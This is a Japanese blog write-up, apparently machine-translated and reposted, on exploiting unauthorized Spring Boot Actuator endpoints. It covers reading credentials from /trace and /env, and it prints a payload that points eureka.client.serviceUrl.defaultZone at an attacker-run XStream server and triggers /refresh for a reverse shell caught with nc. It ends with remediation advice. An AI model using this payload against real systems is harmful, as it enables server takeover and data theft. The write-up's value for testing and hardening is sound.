ホームページ > 運用・保守 > 安全性 > Spring Boot Actuator の getshell への不正アクセスの分析例

Spring Boot Actuator の getshell への不正アクセスの分析例

WBOY
リリース: 2023-05-23 08:56:32
転載
2043 人が閲覧しました

まえがき

この脆弱性は、あるソースにある古い穴を部署の上司が掘ってくれたので、面白そうだと思い、ローカル環境を立ててテストしてみました。

Actuator は、アプリケーション システムのイントロスペクションと監視のために Springboot によって提供される機能モジュールです。Actuator を利用することで、開発者はアプリケーション システムの特定の監視指標に関する統計を簡単に表示および収集できます。 Actuator が有効な場合、関連する権限が制御されていない場合、不正なユーザーがデフォルトの Actuator エンドポイントにアクセスすることでアプリケーション システムの監視情報を取得でき、情報漏洩やサーバー乗っ取りにつながる可能性があります。

Actuator は Spring Boot が提供する機能モジュールで、アプリケーション システムのイントロスペクションとモニタリングに使用できます。提供されるエグゼキューター エンドポイントは、ネイティブ エンドポイントとユーザー定義の拡張エンドポイントの 2 つのカテゴリに分類されます。ネイティブ エンドポイントには主に次のものが含まれます:

Spring Boot Actuator从未授权访问到getshell的示例分析

#活用アイデア

  1. #env と更新を使用して getshell を実行します


  2. マッピングを使用して未承認のインターフェイスを見つけます


  3. トレースを使用して認証情報 (Cookie、Tooken、Session) を取得し、その認証情報を使用してインターフェイスにアクセスします。


  4. env からデータベースアカウントのパスワード (mangodb) が漏洩する可能性がありますが、当然ながら外部ネットワークは公開されている必要があるため、可能性は低いです。


  5. 外国人は SQL 文が実行できると言っていますが、まだ理解できません


脆弱性発見


通常は、現在の Web アプリケーションで使用されているフレームワークを springboot フレームワークとして識別します。

  1. Web アプリケーションの Web ページ ラベル (favicon.ico) のアイコンを通じて、Web アプリケーション開発者が Springboot のデフォルトのアイコンを変更していない場合は、主に 2 つの判断方法があります。 Web アプリケーションを選択し、アプリケーションに入ります。ホームページの後に、次のデフォルトの緑色の小さなアイコンが表示されます。


Spring Boot Actuator从未授权访问到getshell的示例分析

    # #デフォルトのエラー ページは、springboot フレームワークを通じて報告されます; if Web アプリケーション開発者が springboot Web アプリケーションのデフォルトの 4xx および 5xx エラー ページを変更していない場合、Web アプリケーションで 4xx または 5xx エラーが発生すると、次のエラーが発生します。 (ここでは例として 404 エラー ページのみが使用されています): ランダムに構築されたパスにアクセスします (例: http://172.26.2.24:8090/index)。次のエラー ページが表示される場合は、Web Web サイトがspringboot フレームワークを使用します (実際に遭遇する状況のほとんどはこれに似ています)。

Spring Boot Actuator从未授权访问到getshell的示例分析 上記の 2 つの方法を組み合わせて、現在の Web アプリケーションが Springboot フレームワークであるかどうかを判断するには、さまざまなディレクトリにアクセスして、小さな緑色の葉のアイコンをクリックして、別のディレクトリにあるアプリケーションの 4xx または 5xx エラーをトリガーする方法を見つけて、ホワイトラベル エラー ページ エラーがあるかどうかを確認します。

脆弱性の悪用


/trace エンドポイントにアクセスして、基本的な HTTP リクエスト追跡情報 (タイムスタンプ、HTTP ヘッダーなど) を取得します。ユーザーでは、ログインするために Cookie を偽造できます。

Spring Boot Actuator从未授权访问到getshell的示例分析/env エンドポイントにアクセスして、すべての環境属性を取得します。アクチュエータはサイト上の mysql や mangodb などのデータベース サービスを監視するため、mysql や mangodb のデータベース情報が取得される場合があります。監視情報を通じて取得されます。データベースがたまたまパブリック ネットワーク上で開かれていた場合、引き起こされる被害は甚大です。

Spring Boot Actuator从未授权访问到getshell的示例分析/env エンドポイントは、RCE を引き起こすように不適切に構成されています。

前提条件: Eureka -Client

たとえば、フロントエンド JSON エラー レポートをテストしてパッケージ名を漏らす場合は、netflix を使用します

Spring Boot Actuator从未授权访问到getshell的示例分析次の 2 つが必要です パッケージ

spring-boot-starter-actuator (/refresh リフレッシュ設定が必要です)

spring-cloud-starter-netflix -eureka-client (機能依存関係)

Use python3 スクリプトを開始するときは、2 つの場所に注意する必要があります。1 つはシェルを受信するための IP とポート、もう 1 つはスクリプトのポートです。まず、

Spring Boot Actuator从未授权访问到getshell的示例分析

Spring Boot Actuator从未授权访问到getshell的示例分析Nc はポートをリッスンしてリバウンド シェルを受信します。

#設定を書き込み、 /env エンドポイント、パケットをキャプチャし、get リクエストを post リクエストに変更します。post コンテンツは次のとおりです (ip はスクリプトによって開始されたマシンの ip です) :

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

Spring Boot Actuator从未授权访问到getshell的示例分析

次に、/refresh にアクセスしてパケットをキャプチャし、get リクエストを変更します。投稿リクエストへ、投稿データは任意です。

Spring Boot Actuator从未授权访问到getshell的示例分析

# 次に、NC ウィンドウで、シェルが正常にバウンスバックされたことがわかります。

Spring Boot Actuator从未授权访问到getshell的示例分析

脆弱性の修復

セキュリティ犬として、修正せずにただ掘ることはできません。プロジェクトの pom.xml の下に spring-boot を導入してください。 file -starter-security は

<dependency>
	<groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId>
</dependency>
ログイン後にコピー

Spring Boot Actuator从未授权访问到getshell的示例分析

に依存します。次に、application.properties でセキュリティ機能を有効にし、アクセス アカウントのパスワードを設定し、アプリケーションを再起動するとポップアップが表示されます。

management.security.enabled=true
security.user.name=admin
security.user.password=admin
ログイン後にコピー

Spring Boot Actuator从未授权访问到getshell的示例分析

Spring Boot Actuator从未授权访问到getshell的示例分析

インターフェースを無効にするには、次のように設定できます (env インターフェースの無効化など):

endpoints.env.enabled = false

質問

外国人は SQL ステートメントを実行できると言いましたが、実行できないことがわかりました。方法が間違っているのかもしれません。彼の写真のスクリーンショット。正常に実行できる人がそれを共有できることを願っています。

Spring Boot Actuator从未授权访问到getshell的示例分析

実際の環境では、リフレッシュが行われないことが多く、コマンドが実行できないことが確認されており、まだ打開策はありません。

以上がSpring Boot Actuator の getshell への不正アクセスの分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
ソース:yisu.com
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート